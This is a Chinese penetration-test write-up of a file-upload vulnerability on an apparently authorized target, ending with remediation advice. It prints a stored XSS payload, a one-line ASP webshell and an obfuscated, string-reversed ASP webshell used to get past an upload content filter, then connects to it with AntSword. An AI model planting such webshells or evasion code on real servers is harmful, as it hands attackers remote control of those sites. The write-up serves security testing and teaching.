记一次有意思的文件上传
本文作者:某小六 (Ms08067安全实验室SRSP TEAM)
有意思的文件上传开始
0x01文件上传漏洞的概念
由于站点对上传文件未作过滤或过滤机制不严(文件后缀或类型),导致恶意用户可以上传脚本文件,通过上传文件可达到控制网站权限的目的。
0x02 Getshell之路
1.寻找漏洞
打开授权测试网站,发现页面功能单一(登记、查询),
登记处存在存储型xss
payload:<svg/onload = alert(1);>
当页面所有的功能模块测试完之后,我们可以扫目录、扫端口
2.御剑梭哈
①.扫目录,线程过高、ip被ban…
②.使用御剑扫描端口,发现此站点开放了许多端口(此工具适用于快速发现目标ip是否开放了很多端口,像下图这种情况,建议拿nmap进行端口扫描,来发现更多开放的端口)(真实ip,未做CDN)
nmap扫描的结果
盲猜ssh口令**不出来(超级弱口令**工具(自带字典)…
3.测试目的ip其他端口
①.打开 xx.xx.xx.xx:8088 首页长这个样子,啥也没有
②.点击左上角登录按钮,跳转到用户登录页面,测试admin/admin admin/123456 (猜想:用户命名规则、密码组成规则)
③.通过查看网页源代码,查看相关js文件,得到修改密码的url
填写表单并提交,提示如下信息,放弃**弱口令…
④.手动创建一个账号【狗头】
然后登录
⑤.找到上传点,测试文件上传
⑥.服务器对上传内容有过滤(发现相关恶意代码,直接拦截),如果直接上传asp 一句话木马(<%eval request("cmd")%>),会被弃包,go不过去
所以这里使用加密的webshell(代码来源百度,现用现搜)
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
%>
上传成功
⑦.使用蚁剑连接
(ps:或者直接上传冰蝎自带的asp马)
0x03 漏洞危害&&修复
①.漏洞危害
(1)攻击者可通过此漏洞上传恶意脚本文件,对服务器的正常运行造成安全威胁;(2)攻击者可上传可执行的WebShell(如php、jsp、asp类型的木马病毒),或者利用目录跳转上传gif、html、config文件,覆盖原有的系统文件,到达获取系统权限的目的。
②.修复建议
(1)对上传文件格式进行严格校验及安全扫描,防止上传恶意脚本文件;
(2)设置权限限制,禁止上传目录的执行权限;
(3)严格限制可上传的文件类型;
(4)严格限制上传的文件路径。
(5)文件扩展名服务端白名单校验。
(6)文件内容服务端校验。
(7)上传文件重命名。
(8)隐藏上传文件路径。
扫描下方二维码加入Web安全攻防星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!
目前20000+人已关注加入我们
上一篇: vue封装可实现选中、新增、修改、删除功能的树组件
下一篇: vue开发请求本地模拟数据的配置方法
推荐阅读
-
记一次有意思的文件上传
-
Python zip()函数的一次踩坑记
-
Struts2文件上传的注意点 博客分类: struts strutsfileuploadcontenttype
-
struts2上传的Web文件ContentType类型大全 博客分类: 企业架构 Struts上传ContentType类型
-
PHP封装的多文件上传类实例与用法详解
-
java实现将文件上传到ftp服务器的方法
-
Docker安装kafka服务器端,记一次liunx服务器下的操作流程
-
使用primefaces的JSF做一个文件上传功能所遇到的问题
-
YII中Ueditor富文本编辑器文件和图片上传的配置图文教程
-
记一次Java Rest Service Hang住的经历 博客分类: Java jvmjava